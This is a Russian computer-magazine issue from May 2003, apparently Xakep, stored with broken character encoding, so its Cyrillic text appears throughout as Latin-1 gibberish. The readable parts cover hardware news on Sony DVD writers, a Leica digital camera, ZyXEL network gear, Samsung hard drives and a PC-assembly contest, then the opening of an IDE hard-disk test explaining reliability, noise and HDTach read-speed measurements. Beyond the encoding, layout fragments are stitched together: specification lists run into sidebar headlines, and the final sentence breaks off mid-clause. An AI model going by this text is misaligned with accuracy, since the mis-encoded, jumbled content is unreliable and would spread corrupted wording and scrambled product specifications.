Ïîäêëþ÷åíèå ê PC: èíòåðôåéñ ATAPI<br />
(EIDE)<br />
Ñêîðîñòè çàïèñè/÷òåíèÿ:<br />
çàïèñü DVD-r(w) äèñêîâ íà ñêîðîñòè äî 4õ<br />
÷òåíèå DVD-ROM íà ñêîðîñòè äî<br />
12õ<br />
X-Ñòèëü
HardNews<br />
Nikitos (nikitos@real.xakep.ru)<br />
çàïèñü CD-R íà ñêîðîñòè äî 24õ<br />
çàïèñü CD-RW íà ñêîðîñòè äî 10õ<br />
÷òåíèå CD-ROM íà ñêîðîñòè äî 32õ<br />
Ðàçìåðû: 146õ41,4õ192 ìì (øèðèíà/âûñîòà/äëèíà)<br />
Ïîääåðæèâàåìûå ÎÑ: Windows 98SE/2000/Me/XP<br />
Ïèêîâàÿ ñêîðîñòü ïåðåäà÷è äàííûõ: 33,3 Ìáèò/ñ<br />
(ìàêñ.)<br />
Âðåìÿ äîñòóïà: 160 ìñ (CD-ROM), 200 ìñ (DVD-ROM)<br />
Îáúåì áóôåðà: 8 ÌÁ<br />
Ìåòîä çàïèñè (CD): äèñê öåëèêîì, äîðîæêà, ñåññèÿ,<br />
ïàêåòíàÿ çàïèñü<br />
(DVD): Çàïèñü ñ ïðîèçâîëüíûì äîñòóïîì<br />
(DVD+RW/DVD-RW), ïîñëåäîâàòåëüíàÿ çàïèñü<br />
(DVD+R/+RW, DVD-R/-RW)<br />
Ïîääåðæèâàåìûå ôîðìàòû äèñêîâ: DVD-ROM, DVD-<br />
Video, DVD+RW, DVD+R, DVD-RW, DVD-R, CD-ROM,<br />
CD-DA, Video CD, Photo CD (ìíîãîñåññèîííûå), CD<br />
TEXT, CD Extra<br />
Sony DRX-510UL<br />
Ïîäêëþ÷åíèå ê PC: USB 2.0 è i.LINK<br />
Ðàçìåðû: 164õ53õ246 ìì (øèðèíà/âûñîòà/äëèíà)<br />
Ïèêîâàÿ ñêîðîñòü ïåðåäà÷è äàííûõ: 480 Ìáèò/ñ (ìàêñèìàëüíàÿ<br />
äëÿ USB 2.0)<br />
Ñèìïîòíàÿ<br />
öèôðîâóøêà îò Leica<br />
Leica îáíîâèëà ëèíåéêó ñâîèõ öèôðîâûõ ôîòîêàìåð,<br />
âûïóñòèâ 3-ìåãàïèêñåëüíóþ ìàëûøêó, âûïîëíåííóþ<br />
â î÷åíü ñòèëüíîì ìåòàëëè÷åñêîì êîðïóñå èç àëþìèíèåâîãî<br />
ñïëàâà. Êàìåðà îáëàäàåò 3-êðàòíûì îïòè÷åñêèì<br />
çóìîì. Âîò îñíîâíûå ñïåöèôèêàöèè ìàëþòêè:<br />
* Ñåíñîð: 1/2,5» CCD-ìàòðèöà, 3,34 ìëí. ýëåìåíòîâ<br />
(3,2 ìëí. ýôôåêòèâíûõ ïèêñåëîâ)<br />
* Ðàçðåøåíèå: 2048x1536, 1600x1200, 1280x960,<br />
640x480 è 320x240 â ðåæèìå çàïèñè âèäåî<br />
* Ôîðìàòû ôàéëîâ: JPEG, DPOF, QuickTime Motion<br />
JPEG ñî çâóêîì<br />
* Íîñèòåëü: SD Memory Card, âìåñòå ñ êàìåðîé ïîñòàâëÿåòñÿ<br />
êàðòî÷êà îáúåìîì 64 Ìá<br />
* Ñâåòî÷óâñòâèòåëüíîñòü: ISO 50/18°, 100/21°, 200/24°<br />
è 400/27°<br />
* Îáúåêòèâ: LEICA DC VARIO-ELMARIT, àïåðòóðà<br />
F:2,8–4,9, ôîêóñíîå ðàññòîÿíèå 5,8–17,4 ìì (35-105<br />
ìì íà 35-ìì ýêâèâàëåíòå), 7 ýëåìåíòîâ, 6 ãðóïï, 3<br />
àñôåðè÷åñêèå ëèíçû<br />
* Öèôðîâîé çóì: 3x<br />
* Ìèíèìàëüíàÿ äèñòàíöèÿ ôîêóñèðîâêè: 10-30 ñì<br />
* Âðåìÿ âûäåðæêè: 1 - 1/2000 â ðåæèìå ôîòî, 1/30 -<br />
1/1000 ñ â ðåæèìå çàïèñè âèäåî<br />
* Âèäîèñêàòåëü: îïòè÷åñêèé, 0,36x-1,0õ<br />
* ÆÊ-äèñïëåé: 1,5» TFT 114000 ïèêñåëîâ<br />
* Òàéìåð: 2-10 ñ<br />
* Èíòåðôåéñû: 5-pin mini-USB 2.0, êîìïîçèòíûé àóäèî/âèäåî<br />
âûõîä<br />
* Ñîâìåñòèìîñòü: EPSON Print Image Matching System<br />
(PIM 2.5), Digital Print Order Format (DPOF), MacOS 9.x<br />
–MacOS X, Windows 98/ME/2000/XP<br />
* Ïèòàíèå: âñòðîåííûé ëèòèé-èîííûé àêêóìóëÿòîð<br />
680 ìÀ÷<br />
* Ýíåðãîïîòðåáëåíèå: íå áîëåå 2,1 Âò<br />
* Ðàçìåðû: 121x52x34 ìì<br />
* Âåñ: 200 ã âìåñòå ñ àêêóìóëÿòîðîì<br />
 íîìåðå:<br />
Íåõèëûé RAID<br />
Êðàñàâåö îò Philips<br />
Íîâûå ìàìû íà i875p<br />
DVD-ðåçàêè îò Sony<br />
C ZyXEL - â LAN<br />
16 àïðåëÿ êîìïàíèÿ ZyXEL ïðåäñòàâèëà â Ðîññèè<br />
äâå íîâûõ ëèíåéêè ñâîåé ïðîäóêöèè - îáîðóäîâàíèå<br />
äëÿ ëîêàëüíûõ (â òîì ÷èñëå áåñïðîâîäíûõ) ñåòåé.<br />
Ñåðèÿ OMNI LAN âêëþ÷àåò 10/100 è 1000-ìåãàáèòíûå<br />
ñåòåâûå êàðòû OMNI LAN PCI è ñåòåâûå<br />
êîììóòàòîðû, ìîäåëüíûé ðÿä êîòîðûõ äîâîëüíî<br />
øèðîê: îò ïðîñòûõ íàñòîëüíûõ 10/100 Ìáèò/ñ<br />
ñâèò÷åé (ñåðèÿ OMNI LAN SWITCH) äî íàâîðî÷åííûõ<br />
óïðàâëÿåìûõ ãèãàáèòíûõ êîììóòàòîðîâ (ìîäåëü<br />
ES-2008-GTP) è 24-ïîðòîâûõ êîììóòèðóþùèõ<br />
äåâàéñîâ (äëÿ ñòîéêè, ôîðìàò 1U) ñ ìîäóëüíîé àðõèòåêòóðîé<br />
(ìîäåëü ES-3024).<br />
 ëèíåéêó æå áåñïðîâîäíûõ (WLAN - Wave LAN) óñòðîéñòâ<br />
OMNI AIR âõîäÿò ñåòåâûå àäàïòåðû ñ ðàçëè÷íûìè<br />
èíòåðôåéñàìè, òî÷êè äîñòóïà (ïðîñòûå è<br />
ñ ôóíêöèÿìè ìàðøðóòèçàòîðà) è àíòåííû. Wirelessäåâàéñû<br />
ïîñòðîåíû íà ÷èïñåòå ZyXEL A1 ñîáñòâåííîé<br />
ðàçðàáîòêè ZyXEL, îáåñïå÷èâàþùåì âûñîêóþ<br />
ñêîðîñòü ïåðåäà÷è äàííûõ è áîëüøèå ðàññòîÿíèÿ,<br />
íà êîòîðûõ âîçìîæíà íàäåæíàÿ ðàáîòà. Óñòðîéñòâà<br />
ïîääåðæèâàþò ñòàíäàðò IEEE 802.11b (ñêîðîñòü äî<br />
11 Ìáèò/ñ).<br />
Âñå àêòèâíûå ñåòåâûå óñòðîéñòâà ZyXEL ðàáîòàþò ïîä<br />
óïðàâëåíèåì ZyNOS - ìàñøòàáèðóåìîé ÎÑè ZyXEL,<br />
ïîääåðæèâàþùåé áîëüøèíñòâî ñîâðåìåííûõ ñòàíäàðòîâ<br />
ñåòåâîé áåçîïàñíîñòè. Òàê ÷òî ëîêàëêà íà îñíîâå<br />
æåëåçà ZyXEL (äàæå áåñïðîâîäíàÿ!) áóäåò âïîëíå<br />
ñåêüþðíûì ìåñòîì.<br />
Íîâûå íàêîïèòåëè<br />
Samsung<br />
Ðåàëèçóÿ ñâîè íàïîëåîíîâñêèå ïëàíû ïî çàâîåâàíèþ<br />
ðûíêà æåñòêèõ äèñêîâ â Ðîññèè â ÷àñòíîñòè è â<br />
ìèðå âîîáùå, êîìïàíèÿ Samsung Electronics ïðåäñòàâèëà<br />
íîâûå ëèíåéêè âåí÷åñòåðîâ SpinPoint. Ñåðèè<br />
SpinPoint VL40 (20/30/40 Ãá) è PL40 (20/40Ãá) ÿâëÿþòñÿ<br />
íîâûì ïîêîëåíèåì íàêîïèòåëåé íà÷àëüíîãî<br />
óðîâíÿ ñ ïëîòíîñòüþ çàïèñè 40 Ãá íà áëèí è ñêîðîñòüþ<br />
âðàùåíèÿ øïèíäåëÿ 5400 è 7200 îá/ìèí ñîîòâåòñòâåííî.<br />
 ñåðèÿõ V80 è P80 (âûñîêîïðîèçâîäèòåëüíûå<br />
æåñòàêè) ïëîòíîñòü çàïèñè ïîâûñèëàñü â<br />
äâà ðàçà äî 80 Ãá/ïëàñòèíà (î ïëîòíîñòè ìîæíî ñóäèòü<br />
ïî öèôðå â íàçâàíèè ñåðèè). Êðîìå ýòîãî, äåâàéñû<br />
P80 îáëàäàåò 8-ìè ìåãîâûì áóôåðîì, à òàê<br />
æå âèí÷åñòåðû ýòîé ñåðèè ñíàáæåíû íîâîìîäíûì<br />
150 Ìá/c èíòåðôåéñîì Serial ATA (SATA). Âñå ïðåäñòàâëåííûå<br />
æåñòêèå äèñêè ïîääåðæèâàþò çàïàòåíòîâàííóþ<br />
àêóñòè÷åñêóþ òåõíîëîãèþ ïîäàâëåíèÿ øóìà<br />
Samsung NoiseGuard è SilentSeek.<br />
Òàêæå Samsung îáúÿâèëà î âûïóñêå îáíîâëåííîé<br />
ëèíåéêè îïòè÷åñêèõ ïðèâîäîâ<br />
(CD-ROM, CD-R/RW è<br />
Combo DVD-ROM/CD-<br />
R/RW), â êîòîðîé ìîæíî<br />
îòìåòèòü ïåðâûé<br />
â ìèðå êîìáèíèðîâàííûé<br />
ïðèâîä<br />
SM-352 ñ<br />
áóôåðîì â 8<br />
ìåãîâ è ðåêîðäíîé<br />
ñêîðîñòíîé ôîðìóëîé: 52x<br />
(çàïèñü)/24x (ïåðåçàïèñü)/52x<br />
(÷òåíèå)/16x (÷òåíèå DVD). Åñòåñòâåííî, îí ïîääåðæèâàåò<br />
âñå ñîâðåìåííûå ôîðìàòû: DVD-ROM, DVD-<br />
R, DVD-RW, DVD-RAM, DVD-Video, CD-DA, CD-ROM,<br />
CD-ROM/Xa è äð.<br />
ìàé<br />
2003<br />
¹53<br />
×åìïèîíàò ïî<br />
ñáîðêå ÏÊ: ýòàï 2<br />
Íå óñïåë âûéòè àïðåëüñêèé íîìåð, â êîòîðîì ìû<br />
ïèñàëè ïðî ×åìïèîíàò Ðîññèè ïî ñáîðêå êîìïüþòåðîâ,<br />
ïðîâîäèìûé êîìïàíèåé Gigabyte (âåðíåå, åãî<br />
ïåðâûé òóð), êàê ñîñòîÿëñÿ âòîðîé ýòàï ýòèõ ïî÷åòíûõ<br />
ñîðåâíîâàíèé. Ýòî ðàäîñòíîå ñîáûòèå ïðîèçîøëî<br />
â ñóááîòó, 23 àïðåëÿ, â òîðãîâîì êîìïëåêñå<br />
"Ìîñêâà" (ýòî òîò îôèãèòåëüíûõ ðàçìåðîâ "ìàãàçèí",<br />
÷òî íàõîäèòñÿ â Ëþáëèíî). Íà ñåé ðàç æåëàþùèõ<br />
èñïûòàòü ñåáÿ èëè ïîñìîòðåòü, êàê ýòî áóäóò<br />
äåëàòü äðóãèå, çàìåòíî ïðèáàâèëîñü.<br />
Ãëàâíîå, î ÷åì ñòîèò ðàññêàçàòü, ýòî, êîíå÷íî, íîâûé<br />
ðåêîðä. Íåâîîðóæåííûì âçãëÿäîì áûëî âèäíî,<br />
÷òî ðåáÿòà â ýòîò ðàç ñîáðàëèñü ñåðüåçíûå. Áîðüáà<br />
ðàçâåðíóëàñü íåøóòî÷íàÿ (õîòÿ ðóêè òðÿñëèñü äàæå ó<br />
ïóçàòûõ è íåáðèòûõ äÿäåé :)). Â îáùåì, òåïåðü äëÿ<br />
òîãî ÷òîáû ïîáîðîòüñÿ çà ïîáåäó â ôèíàëå, òåáå<br />
ïðèäåòñÿ íàó÷èòüñÿ ñîáèðàòü êîìï ìåíüøå, ÷åì çà<br />
ïÿòü ìèíóò: 23 ìàðòà áûëî çàôèêñèðîâàíî àáñîëþòíî<br />
ëó÷øåå âðåìÿ: 5 ìèíóò 8 ñåêóíä.<br />
Êñòàòè, â ýòîì ÷åìïèîíàòå X ïðèíÿë ñàìîå íåïîñðåäñòâåííîå<br />
ó÷àñòèå. Çðèòåëè è ó÷àñòíèêè ìîãëè<br />
ëèöåçðåòü íàøåãî ñïåöàãåíòà-äèâåðñàíòà ñðåäè<br />
áðàâîé êîìàíäû ñóäåé. Àãåíò ßäîâèòûé, áîëåå èçâåñòíûé<br />
êàê ãëàââðåä X, ñàìîîòâåðæåííî âûïîëíÿë<br />
ìèññèþ àðáèòðà (âñå äîâåðåííîå åìó îáîðóäîâàíèå<br />
ñîñòàâëÿëî îäèí åäèíñòâåííûé ñåêóíäîìåð, à ñ<br />
íèì äèâåðñèþ, ñîãëàñèñü, ïðîèçâåñòè çàòðóäíèòåëüíî<br />
:)), íî âíåçàïíî áûë ðàññåêðå÷åí è ïðåïðîâîæäåí<br />
íà ñöåíó äëÿ íàãðàæäåíèÿ ïîáåäèòåëåé.<br />
Ïî òðàäèöèè, áåç ïîäàðêîâ íèêòî íå óøåë: äàæå òå,<br />
êòî çàíÿë ïåðâûå ìåñòà ñ êîíöà, ïîëó÷èëè ïîîùðèòåëüíûå<br />
ïðèçû îò ìíîãî÷èñëåííûõ ñïîíñîðîâ (â îñîáåííîñòè,<br />
ãåíåðàëüíîãî - Gigabyte'à è êîìïàíèè Áþðîêðàò,<br />
ïðåäñòàâëÿþùåé òîðãîâóþ ìàðêó Genuis). À<br />
ïîáåäèòåëü óøåë äîìîé ñ íîâåíüêèì êîìïîì (P4,<br />
ÆÊ-ìîíèòîð è ò.ä.), êîòîðûé, â îáùåìòî,<br />
ìîæåò âûèãðàòü ëþáîé ïðÿìîðóêèé<br />
ëþáèòåëü PC. Ðåãèñòðàöèÿ ó÷àñòíèêîâ<br />
çäåñü: www.winner.gigabyte.ru.<br />
1 2 3 4<br />
10 Íüþñû Ôåððóì Inside PC_Zone Âçëîì
Ferrum<br />
ÒÅÑÒÈÐÎÂÀÍÈÅ HDD Ñ ÈÍÒÅÐÔÅÉÑÎÌ IDE<br />
test_lab (test_lab@gameland.ru)<br />
Ñåãîäíÿ ìû ïðîòåñòèðîâàëè äëÿ òåáÿ 80-ãèãîâûå âèíòû. Ïî÷åìó èìåííî 80<br />
Äà ïîòîìó ÷òî íà ñåãîäíÿøíèé äåíü ýòî ñàìûé ïîïóëÿðíûé îáúåì. Ñóäè ñàì -<br />
äèñêè îáúåìîì 80 ãèãàáàéò ñòîÿò äîðîæå 40-ãèãîâûõ áàêñîâ íà 20-30<br />
(çàâèñèò îò òîãî, ãäå ïîêóïàòü). Îäíàêî ñòîÿò âîñüìèäåñÿòêè â ïåðåäåëàõ<br />
ñòà êîñìîêðåäîâ, â îòëè÷èå îò 120-ãèãîâîé ðîäíè. Íó à çàïðîñû íà îáúåìû ó<br />
íàñ íûí÷å âåëèêè, íóæíî, ÷òîáû âëåçàëè íîâûå ïðîæîðëèâûå ïðîãðàììû,<br />
íîâûå èãðû íà íåñêîëüêèõ äèñêàõ, ôèëüìû, ìóçûêà è, êîíå÷íî æå, ïîðíóøêà.<br />
Âñå ýòî êà÷àåòñÿ èç Õàëÿâíîãî èíåòà, èç äîìàøíåé ñåòè, ñ äèñêîâ, íà âðåìÿ<br />
ïîçàèìñòâîâàííûõ ó äðóçåé. Òåðïåíèÿ äëÿ òîãî, ÷òîáû çàïèñàòü âñþ<br />
ðàçðîñøóþñÿ êîëëåêöèþ íà CD-äèñêè íå õâàòèò, à ïèøóùèå DVD òîëüêî<br />
íàáèðàþò îáîðîòû. Òàê ÷òî áóäåì âûáèðàòü äëÿ òåáÿ 80-ãèãîâîãî äðóãà.<br />
Ïðåæäå ÷åì ïðèñòóïèòü ê ìàñøòàáíîìó<br />
òåñòèðîâàíèþ, äàâàé ïîäóìàåì:<br />
êàê òû èñïîëüçóåøü òâîþ òà÷êó.<br />
 æåëåçå íàìå÷àåòñÿ òðè ñåãìåíòà:<br />
íàñòîëüíûå ÏÊ (desktop), ðàáî÷èå<br />
ñòàíöèè (workstation), ñåðâåðíûå<br />
êîìïüþòåðû (server). Áûâàþò åùå<br />
ñóïåðêîìïüþòåðû è äðóãèå ñïåöèàëèçèðîâàííûå<br />
ìàøèíû, íî î íèõ<br />
ðå÷ü ñåé÷àñ íå èäåò. Ëó÷øå âñåãî òû<br />
çíàêîì ñ íàñòîëüíûìè êîìïàìè,<br />
ïîñêîëüêó îíè ñàìûå äåøåâûå,<br />
èìåííî èõ èñïîëüçóþò äîìà. Ñåðâåðíûå<br />
ìîíñòðû îòëè÷àþòñÿ ïîâûøåííîé<br />
íàäåæíîñòüþ, óâåëè÷åííûì<br />
êîëè÷åñòâîì ïðîöåññîðîâ, ðàñøèðåííûì<br />
îáúåìîì ïàìÿòè è ÊÝØà,<br />
âûñîêîñêîðîñòíûìè èíòåðôåéñàìè<br />
SCSI äëÿ íàêîïèòåëåé. Îíè ðàññ÷èòàíû<br />
íà ðàáîòó ñ áîëüøèì êîëè÷åñòâîì<br />
ïîëüçîâàòåëåé. Ðàáî÷àÿ ñòàíöèÿ<br />
çàíèìàåò ïðîìåæóòî÷íîå ïîëîæåíèå<br />
ìåæäó íàñòîëüíûì è ñåðâåðíûì<br />
êîìïîì. Îíà äîëæíà ðåøàòü<br />
èíäèâèäóàëüíûå çàäà÷è, äëÿ êîòîðûõ<br />
òðåáóåòñÿ ìîùü, ñðàâíèìàÿ ñ<br />
ñåðâåðíîé. Æåëåçî workstation òàêæå<br />
ìîæåò îòëè÷àòüñÿ ìíîãîïðîöåññîðíîñòüþ,<br />
ðàñøèðåííûì îáúåìîì<br />
ïàìÿòè, íàëè÷èåì ñïåöèàëèçèðîâàííûõ<br />
óñòðîéñòâ.<br />
Èòàê, ìû òîëüêî ÷òî âûÿñíèëè, ÷òî IDE<br />
âèí÷åñòåðû íå âñåãäà èñïîëüçóþòñÿ ñ<br />
ðàáî÷èìè ñòàíöèÿìè è ñåðâåðàìè, äëÿ<br />
íèõ ÷àñòî èñïîëüçóþò ñêàçåâûå âèíòû.<br />
Îäíàêî òû ìîæåøü ïûòàòüñÿ ðåøàòü íà<br />
ñâîåì íàñòîëüíîì ÏÊ çàäà÷è äëÿ workstation<br />
è server. Íàïðèìåð, òû ìîæåøü<br />
çàíÿòüñÿ íà äåñêòîïíîì ÏÊ ïðîôåññèîíàëüíûì<br />
âèäåîìîíòàæîì èëè çàõî÷åøü<br />
èñïîëüçîâàòü åãî â êà÷åñòâå ôàéë-ñåðâåðà<br />
â òâîåé äîìàøíåé ñåòè ëèáî â èíòåðíåòå.<br />
Äëÿ íàøåé ñòðàíû ýòî îñîáåííî<br />
àêòóàëüíî, ðóññêèé ÷åëîâåê âñåãäà ñòðåìèëñÿ<br />
âûæàòü èç äåøåâîãî æåëåçà ìàêñèìóì<br />
ïðîèçâîäèòåëüíîñòè. Âîò ìû è<br />
ïðîòåñòèëè îáû÷íûå IDE-õàðäû ñ ó÷åòîì<br />
ðåøåíèÿ òðåõ òèïîâ çàäà÷: íàñòîëüíûõ<br />
ñèñòåì, ðàáî÷èõ ñòàíöèé, ñåðâåðîâ.<br />
Èòàê, äëÿ âñåõ ïëàòôîðì ïðåæäå âñåãî<br />
âàæíà íàäåæíîñòü. Òû æå íå õî÷åøü,<br />
÷òîáû ïðîïàëè âñå òâîè äàííûå, âûñòðàäàííûå<br />
ãîäàìè êîïèðîâàíèÿ è ñêà÷èâàíèÿ.<br />
Íà íàäåæíîñòü êîñâåííî âëèÿåò<br />
òåìïåðàòóðíûé ðåæèì âèí÷åñòåðà. Êîëè÷åñòâî<br />
ëåò ãàðàíòèè ïðîèçâîäèòåëÿ<br />
òàêæå ìîæåò ãîâîðèòü î íàäåæíîñòè.<br />
Åñëè ïðîèçâîäèòåëü èëè ïðîäàâåö äàåò<br />
íà ñâîé äèñê ðàñøèðåííóþ ãàðàíòèþ,<br />
ýòî ìîæåò îçíà÷àòü, ÷òî îí óâåðåí â<br />
èñêëþ÷èòåëüíîì êà÷åñòâå ñâîåãî ïðîäóêòà.<br />
Õîòÿ îòñóòñòâèå ðàñøèðåííîé ãàðàíòèè<br />
ñàìî ïî ñåáå íå ãîâîðèò î íåíàäåæíîñòè<br />
õàðäà. Äåëî â òîì, ÷òî êîìïüþòåðíûå<br />
êîìïîíåíòû ñòàðåþò î÷åíü<br />
áûñòðî, è íåêîòîðûå ïðîèçâîäèòåëè îãðàíè÷èâàþò<br />
ãàðàíòèþ íà ñòàðîå æåëåçî<br />
äëÿ ýêîíîìèè ñðåäñòâ, õîòÿ ïîëíîñòüþ<br />
óâåðåíû â íàäåæíîñòè ñâîèõ ïðîäóêòîâ.<br />
 òåõíè÷åñêèõ õàðàêòåðèñòèêàõ âèíòà î<br />
íàäåæíîñòè ãîâîðèò òàêîé ïàðàìåòð, êàê<br />
ñðåäíåå âðåìåíè íàðàáîòêè íà îòêàç.<br />
Ïðè ýòîì ñðîê æèçíè ýëåêòðè÷åñêèõ<br />
êîìïîíåíòîâ – 5 ëåò, õîòÿ èç ïðàêòèêè<br />
èçâåñòíî ìíîãî ñëó÷àåâ, êîãäà âèí÷åñòåð<br />
æèë è áîëüøå. Òàêæå î íàäåæíîñòè<br />
êîñâåííî ãîâîðèò DTR (Data Transfer<br />
Rate) – ãðàôèê ÷òåíèÿ, ïîêàçûâàþùèé<br />
ñêîðîñòü ïåðåäà÷è äàííûõ â çàâèñèìîñòè<br />
îò ÷èòàåìîãî ìåñòà íà ïëàñòèíå, îá<br />
ýòîì ìû åùå ïîãîâîðèì ïîäðîáíåå.<br />
Äëÿ äîìàøíåãî è îôèñíîãî ïîëüçîâàòåëÿ<br />
íåìàëîâàæåí óðîâåíü øóìà. Òå, êòî<br />
ïðîâîäÿò â îáùåñòâå êîìïà áîëüøå<br />
âîñüìè ÷àñîâ â äåíü, çíàþò, êàê õî÷åòñÿ<br />
çàñòðåëèòüñÿ, êîãäà âèíò æóòêî âîåò èëè<br />
ãðîìûõàåò. Íà øóì òàêæå âëèÿåò òåìïåðàòóðà,<br />
ïîòîìó ÷òî åñëè âèí÷åñòåð ñèëüíî<br />
ãðååòñÿ, òåáå ïðèäåòñÿ ñòàâèòü äîïîëíèòåëüíûå<br />
âåíòèëÿòîðû, îõëàæäåíèÿ<br />
æåñòêîãî äèñêà, à îíè òîæå øóìÿò.<br />
Ðàçëè÷èÿ ñêîðîñòíûõ õàðàêòåðèñòèê<br />
ñîâðåìåííûõ âèíòîâ ìîæíî ïðî÷óâñòâîâàòü<br />
óæå íà ïðîôåññèîíàëüíûõ çàäà÷àõ<br />
äëÿ ðàáî÷èõ ñòàíöèé. Êîíå÷íî,<br />
íåïðèÿòíî, åñëè âèíò áóäåò çàïàçäûâàòü<br />
ñ çàãðóçêîé íóæíûõ ôðàãìåíòîâ<br />
âûñîêîêà÷åñòâåííîãî âèäåî èëè àóäèî â<br />
òâîé íîâûé ôèëüì èëè ìåãàìèêñ.<br />
 ñåðâåðíûõ ñèñòåìàõ ñ îãðîìíûì ÷èñëîì<br />
ïîëüçîâàòåëåé âñïëûâàåò íîâàÿ<br />
ïðîáëåìà: áîëüøîå êîëè÷åñòâî îäíîâðåìåííûõ<br />
çàïðîñîâ íà ÷òåíèå è çàïèñü äàííûõ.<br />
Ó äâóõ õàðäîâ ìîæåò áûòü îäèíàêîâàÿ<br />
ñêîðîñòü ïðè íåáîëüøîì êîëè÷åñòâå<br />
çàïðîñîâ, è ðàçëè÷íàÿ ïðè îãðîìíîì êîëè÷åñòâå<br />
îäíîâðåìåííûõ çàïðîñîâ. Äëÿ<br />
ñåðâåðíûõ çàäà÷ èãðàþò ðîëü íå òîëüêî<br />
ñêîðîñòíûå õàðàêòåðèñòèêè HDD, íî òàêæå<br />
ïðèîáðåòàåò îñîáóþ âàæíîñòü óìåíèå<br />
àëãîðèòìîâ õàðäà èíòåëëåêòóàëüíî ðàáîòàòü<br />
ñ äàííûìè - ó÷èòûâàòü êîíêóðåíöèþ<br />
ìåæäó ðàçíûìè çàïðîñàìè è àäðåñà ñ÷èòûâàíèÿ/çàïèñè<br />
äàííûõ. Íå íóæíî çàáûâàòü,<br />
÷òî ïðè áîëüøèõ íàãðóçêàõ íàãðåâ<br />
HDD óâåëè÷èâàåòñÿ, ñëåäîâàòåëüíî, òðåáóåòñÿ<br />
äîïîëíèòåëüíîå îõëàæäåíèå. Èñïîëüçîâàíèå<br />
âåíòèëÿòîðîâ â ñåðâåðíûõ<br />
ñèñòåìàõ – ðèñêîâàííîå äåëî. Âåäü îòêàç<br />
âåíòèëÿòîðà ìîæåò ïðèâåçòè ê îòêàçó<br />
âñåãî ñåðâåðà. Îäíàêî â áîëüøèíñòâå<br />
ñåðâåðíûõ ðåøåíèé íàãðóçêè òàêèå, ÷òî<br />
áåç äîïîëíèòåëüíîãî îõëàæäåíèÿ íèêàê<br />
íå îáîéòèñü.<br />
Âîò êðàòêèé ñïèñîê ïàðàìåòðîâ, âàæíûõ<br />
äëÿ ïðèìåíåíèÿ HDD â ðàçíûõ ñèñòåìàõ:<br />
1) Íàñòîëüíûå ñèñòåìû (desktop)<br />
íàäåæíîñòü;<br />
àêóñòè÷åñêèå õàðàêòåðèñòèêè;<br />
ñèíòåòè÷åñêèå ñêîðîñòíûå õàðàêòåðèñòèêè<br />
(Business, HI-END);<br />
2) Ïðîôåññèîíàëüíûå ñèñòåìû<br />
(work station)<br />
íàäåæíîñòü;<br />
ðåàëüíûå ñêîðîñòíûå õàðàêòåðèñòèêè;<br />
ñèíòåòè÷åñêèå ñêîðîñòíûå õàðàêòåðèñòèêè<br />
(Hi-End)<br />
àêóñòè÷åñêèå õàðàêòåðèñòèêè;<br />
3) Ñåðâåðíûå ñèñòåìû (server)<br />
íàäåæíîñòü;<br />
ðåàëüíûå ñêîðîñòíûå õàðàêòåðèñòèêè;<br />
ñèíòåòè÷åñêèå (WEB, FTP);<br />
àëãîðèòìû ÷òåíèÿ;<br />
àêóñòè÷åñêèå õàðàêòåðèñòèêè;<br />
Äåðæà â ãîëîâå ýòîò íåáîëüøîé ñïèñîê,<br />
ìû âûáðàëè òåñòû, îïðåäåëÿþùèå íóæíûå<br />
ïàðàìåòðû!<br />
1 2 3 4<br />
12 Íüþñû Ôåððóì Inside PC_Zone Âçëîì
ÊÀÊ ÌÛ ÒÅÑÒÈÐÎÂÀËÈ<br />
Ïðîèçâîäèòåëüíîñòü ñîâðåìåííîé ñèñòåìû<br />
íå ñèëüíî âëèÿåò íà ðåçóëüòàòû<br />
òåñòèðîâàíèÿ æåñòêèõ äèñêîâ. Íàïðèìåð,<br />
íàøè êîëëåãè http://www.fcenter.ru/<br />
òåñòèðóþò æåñòêèå äèñêè íà ïëàòôîðìå<br />
PIII 800MHz (Intel i815). Ïðè ýòîì ðåçóëüòàòû<br />
íàøèõ òåñòîâ ðàçëè÷àþòñÿ íå<br />
ñèëüíî.<br />
HDTACH 2.61<br />
Îäèí èç ñàìûõ ïîïóëÿðíûõ òåñòîâ, êîòîðûé<br />
þçàþò ïîëüçîâàòåëè âî âñåì ìèðå.<br />
Ñ ïîìîùüþ ýòîé óòèëèòû ìû èçìåðÿëè<br />
ñêîðîñòè ÷òåíèÿ è çàïèñè (Read<br />
Speed & Write Speed). Íàì èíòåðåñíû<br />
ïèêîâûå ñêîðîñòè: ìèíèìàëüíàÿ (minimum),<br />
ìàêñèìàëüíàÿ (maximum), à òàêæå<br />
ñðåäíÿÿ (average). Ñêîðîñòè ÷òåíèÿ<br />
è çàïèñè çàâèñÿò îò ìíîæåñòâà óñëîâèé.<br />
Áîëüøå âñåãî íà ýòî âëèÿåò óäàëåíèå îò<br />
øïèíäåëÿ äèñêà. Óãëîâàÿ ñêîðîñòü âðàùåíèÿ<br />
áëèíà ïîñòîÿííà, à ëèíåéíàÿ<br />
ñêîðîñòü çàâèñèò îò ðàäèóñà óäàëåíèÿ<br />
îò øïèíäåëÿ. Òî åñòü åñëè ãîëîâêà äâèæåòñÿ<br />
îò êðàÿ ê öåíòðó, òî ëèíåéíàÿ<br />
ñêîðîñòü, ñ êîòîðîé ïðîáåãàþò ïîä íåé<br />
äîðîæêè, ïàäàåò.<br />
Ñ òî÷êè çðåíèÿ ïîëüçîâàòåëÿ ïðåäïî÷òèòåëüíåå<br />
ïîñòîÿííàÿ ñêîðîñòü. Âåäü<br />
òåáÿ íå äîëæíî âîëíîâàòü, â êàêîì ìåñòå<br />
íà áëèíå ëåæàò òâîè äàííûå, òû õî-<br />
÷åøü ïîëó÷àòü èõ èç ëþáîãî ìåñòà îäèíàêîâî<br />
áûñòðî. Ïîòîìó, ÷åì ìåíüøå<br />
ðàçíèöà ìåæäó ìàêñèìóìîì è ìèíèìóìîì,<br />
è ÷åì âûøå ñðåäíÿÿ ñêîðîñòü<br />
(average speed), òåì ëó÷øå!<br />
Ïðåæäå ÷åì ñ÷èòûâàòü äàííûå ñ áëèíà,<br />
íàäî íàéòè ìåñòî (ãäå îíè çàïèñàíû) è<br />
ïîñòàâèòü (ïîçèöèîíèðîâàòü) òóäà ãîëîâêó.<br />
Ýòè ìàíèïóëÿöèè âëèÿþò íà âðåìÿ<br />
ñëó÷àéíîãî äîñòóïà (Random Acñess<br />
Time). ×åì îíî ìåíüøå, òåì ëó÷øå. Îäèí<br />
áîëüøîé ôàéë êîïèðóåòñÿ áûñòðåå, ÷åì<br />
ìíîãî ìàëåíüêèõ ôàéëîâ. Ïðè ýòîì ñóììàðíûé<br />
îáúåì ìàëåíüêèõ ôàéëîâ ðàâåí<br />
